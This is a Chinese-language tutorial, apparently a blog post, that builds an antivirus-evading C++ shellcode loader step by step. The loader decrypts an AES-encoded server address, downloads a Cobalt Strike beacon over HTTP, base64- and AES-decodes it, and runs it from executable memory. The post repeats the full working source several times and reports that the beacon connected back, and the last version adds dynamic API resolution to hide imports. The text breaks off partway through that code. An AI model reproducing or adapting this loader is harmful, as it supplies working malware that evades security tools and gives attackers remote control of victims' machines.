AES+base64+远程加载----ConsoleApplication811项目免杀

ConsoleApplication9.cpp

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}


int main()
{
    void* exec;
    int payload_len = 280000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHixxxx==";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "uMF83pA41Vm/UzOtowpaCA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    ((void(*)())exec)();

    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

base64.cpp

#include"base64.h"
#include<assert.h>
#include<iostream>
const std::string ko::Base64::baseString =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
std::string ko::Base64::encode(const std::string& s) {
    unsigned char array3[3];
    unsigned char array4[4];
    unsigned group = s.length() / 3;
    unsigned remain = s.length() - 3 * group;
    int pos = 0;
    std::string ret;
    ret.reserve(4 * group + 4);
    for (int g = 0; g < group; ++g) {
        for (int i = 0; i < 3; ++i)array3[i] = s[pos++];
        array4[0] = (array3[0] & 0xFC) >> 2;
        array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);
        array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);
        array4[3] = array3[2] & 0x3F;
        for (int i = 0; i < 4; ++i)ret.push_back(baseString[array4[i]]);
    }
    if (remain > 0) {
        for (int i = 0; i < remain; ++i)array3[i] = s[pos++];
        for (int i = remain; i < 4; ++i)array3[i] = 0;
        array4[0] = (array3[0] & 0xFC) >> 2;
        array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);
        array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);
        array4[3] = array3[2] & 0x3F;
        for (int i = 0; i < remain + 1; ++i)ret.push_back(baseString[array4[i]]);
        for (int i = remain + 1; i < 4; ++i)ret.push_back('=');
    }
    return ret;
}
std::string ko::Base64::decode(const std::string& s) {
    unsigned char array3[3];
    unsigned char array4[4];
    unsigned group = s.length() / 4;
    const unsigned remain = s.length() - 4 * group;
    int pos = 0;
    std::string ret;
    ret.reserve(3 * group);
    assert(remain == 0);
    for (int g = 0; g < group; ++g) {
        for (int i = 0; i < 4; ++i)array4[i] = baseString.find(s[pos++]);
        array3[0] = (array4[0] << 2) + ((array4[1] & 0x30) >> 4);
        array3[1] = ((array4[1] & 0xf) << 4) + ((array4[2] & 0x3c) >> 2);
        array3[2] = ((array4[2] & 0x3) << 6) + array4[3];
        if (array4[2] == 255)ret.push_back(array3[0]);
        else if (array4[3] == 255) {
            ret.push_back(array3[0]);
            ret.push_back(array3[1]);
        }
        else {
            ret.push_back(array3[0]);
            ret.push_back(array3[1]);
            ret.push_back(array3[2]);
        }
    }
    return ret;
}

base64.h

#pragma once
#include<string>
namespace ko {
    class Base64 {
    private:
        static const std::string baseString;
    public:
        static std::string encode(const std::string& s);
        static std::string decode(const std::string& s);
    };
}

AES.h

//AES.h

#ifndef _AES_H
#define _AES_H
#include <exception>
#include <cstring>
#include <string>
#define BLOCK_SIZE 16
using namespace std;

class AES
{
public:
    enum
    {
        ECB = 0, CBC = 1, CFB = 2
    };

private:
    enum
    {
        DEFAULT_BLOCK_SIZE = 16
    };
    enum
    {
        MAX_BLOCK_SIZE = 32, MAX_ROUNDS = 14, MAX_KC = 8, MAX_BC = 8
    };
public:
    AES();
    virtual ~AES();
private:
    //Key Initialization Flag
    bool m_bKeyInit;
    //Encryption (m_Ke) round key
    int m_Ke[MAX_ROUNDS + 1][MAX_BC];
    //Decryption (m_Kd) round key
    int m_Kd[MAX_ROUNDS + 1][MAX_BC];
    //Key Length
    int m_keylength;
    //Block Size
    int m_blockSize;
    //Number of Rounds
    int m_iROUNDS;
    //Chain Block
    char m_chain0[MAX_BLOCK_SIZE];
    char m_chain[MAX_BLOCK_SIZE];
    //Auxiliary private use buffers
    int tk[MAX_KC];
    int a[MAX_BC];
    int t[MAX_BC];
private:
    void Xor(char* buff, char const* chain);
    void DefEncryptBlock(char const* in, char* result);
    void DefDecryptBlock(char const* in, char* result);
    void EncryptBlock(char const* in, char* result);
    void DecryptBlock(char const* in, char* result);
public:
    void MakeKey(char const* key, char const* chain, int keylength =
        DEFAULT_BLOCK_SIZE, int blockSize = DEFAULT_BLOCK_SIZE);
    void Encrypt(char const* in, char* result, size_t n, int iMode = ECB);
    void Decrypt(char const* in, char* result, size_t n, int iMode = ECB);
};

#endif // __RIJNDAEL_H__

AES.cpp
太大了就不放了

效果:
在这里插入图片描述
在这里插入图片描述
可以看到成功上线

到这里我们的url达到了一个方式,就是AES下载beacon811.bin文件成功,既然请求地址成功AES+base64编码解码且成功下载了了,那么这一功能完成了,

我们接下来写文件内容加密和解密,因为是二进制文件,那么第一步先给他在服务端base64加密了,然后再木马中再进行解密,我们先来把他用base64打印出来,发现控制台看不到,那么我们写到一个文件看看
增加如下代码

std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
base64EncodedContent = ko::Base64::encode(base64EncodedContent);

//Save the Base64-encoded content to a file
std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
outFile << base64EncodedContent;
outFile.close();

注意用到outFile需要引入

#include <fstream>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到成功写入,那么我们怎么确定写入的是否就是我们shellcode进行base64编码后的内容
那么我们解密触发看看是否上线
将写入文件的注释掉,增加两行代码

base64EncodedContent = ko::Base64::decode(base64EncodedContent);

((void(*)())exec)();

在这里插入图片描述
可以看到成功上线,nice

这一阶段的全部代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}


int main()
{
    void* exec;
    int payload_len = 280000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "uMF83pA41Vm/UzOtowpaCA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);





    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    base64EncodedContent = ko::Base64::encode(base64EncodedContent);


    base64DecodedContent = ko::Base64::decode(base64EncodedContent);



    ((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

那么我们确定内容没问题接下来再此base64EncodedContent上改造加解密就可以了,因为是字符串形式,而不是难搞的二进制

但是到这里我发现我傻了,这样和base64根本没有关系,因为我调用的exec指针执行,还是之前内存中的东西,而不是base64编码后的进入内存,
那么我继续修改,目的是让我们得到的base64DecodedContent进行内存加载
在这里插入图片描述
在这里插入图片描述
可以看到成功上线
这里给出全部代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* exec;
    int payload_len = 280000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "uMF83pA41Vm/UzOtowpaCA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;

    base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    base64DecodedContent = ko::Base64::decode(base64EncodedContent);

    void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    // Copy decoded content to allocated memory
    memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());

    // Execute the allocated content
    void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
    shellcode();

    // Free the allocated memory
    VirtualFree(alloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

那么我们直接来访问我们base64编译好的a.txt文件放到服务器上,远程加载试试
发现失败,我又进行了排查(通过写入文件数据是否一致进行排查)

    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;


    std::ofstream outFile("encoded_content.txt", std::ios::out);
    outFile << base64EncodedContent;
    outFile.close();

在这里插入图片描述
发现写出的文件0kb,我换成了123456编译后的base64,发现读取成功了,那么想到是长度影响的问题,那么我增大payload_len
,之前是280000,现在我改成500000
在这里插入图片描述
在这里插入图片描述

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* exec;
    int payload_len = 500000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "lTbb3qMe8NsPKPjzTRaEzg==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;


    std::ofstream outFile("encoded_content.txt", std::ios::out);
    outFile << base64EncodedContent;
    outFile.close();
    //base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    //base64DecodedContent = ko::Base64::decode(base64EncodedContent);

    //void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //if (alloc == nullptr) {
    //    std::cerr << "Failed to allocate memory." << std::endl;
    //    return 1;
    //}

     Copy decoded content to allocated memory
    //memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());

     Execute the allocated content
    //void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
    //shellcode();

     Free the allocated memory
    //VirtualFree(alloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

可以看到成功写入,那么我们再来修改成之前的代码,继续运行,
在这里插入图片描述
成功了,一路踩坑,不过这下好了
全代码(注释自己手动去掉就好)

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* exec;
    int payload_len = 500000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "lTbb3qMe8NsPKPjzTRaEzg==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存

    //使用默认设置创建会话
    session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);

    //发送请求并读取响应
    HttpSendRequest(reqfile, NULL, 0, 0, 0);
    InternetReadFile(reqfile, exec, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
    std::string base64DecodedContent;


    //base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    base64DecodedContent = ko::Base64::decode(base64EncodedContent);

    void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    // Copy decoded content to allocated memory
    memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());

    // Execute the allocated content
    void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
    shellcode();

    // Free the allocated memory
    VirtualFree(alloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

那么按照这个套路继续写以下几个算法
增加AES算法
目前顺序,服务端base64+AES算法生成的aesencode.txt文件,那么木马解密写成先解密AES再解密base64
在这里插入图片描述
可以看到成功上线
增加的代码如下
在这里插入图片描述
到这里就完成了我们的AES+base64+远程加载(请求的地址进行了AES加密)
base64加密使用到的python代码
在这里插入图片描述
AES加密使用到的项目
在这里插入图片描述
目前全代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>

using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


typedef LPVOID(WINAPI* VirtualAllocT)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    );

typedef HINTERNET(WINAPI* InternetOpenW_T)(
    _In_opt_ LPCWSTR lpszAgent,
    _In_ DWORD dwAccessType,
    _In_opt_ LPCWSTR lpszProxy,
    _In_opt_ LPCWSTR lpszProxyBypass,
    _In_ DWORD dwFlags
    );

typedef HINTERNET(WINAPI* InternetConnectW_T)(
    _In_ HINTERNET hInternet,
    _In_ LPCWSTR lpszServerName,
    _In_ INTERNET_PORT nServerPort,
    _In_opt_ LPCWSTR lpszUserName,
    _In_opt_ LPCWSTR lpszPassword,
    _In_ DWORD dwService,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
    _In_ HINTERNET hConnect,
    _In_opt_ LPCWSTR lpszVerb,
    _In_opt_ LPCWSTR lpszObjectName,
    _In_opt_ LPCWSTR lpszVersion,
    _In_opt_ LPCWSTR lpszReferrer,
    _In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
    _In_ HINTERNET hRequest,
    _In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
    _In_ DWORD dwHeadersLength,
    _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
    _In_ DWORD dwOptionalLength
    );

typedef HINTERNET(WINAPI* InternetReadFile_T)(
    _In_ HINTERNET hFile,
    _Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
    _In_ DWORD dwNumberOfBytesToRead,
    _Out_ LPDWORD lpdwNumberOfBytesRead
    );
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    // Get the address of the module's PE header
    BYTE* pImageBase = (BYTE*)hModule;
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
    IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);

    // Get the address of the export directory
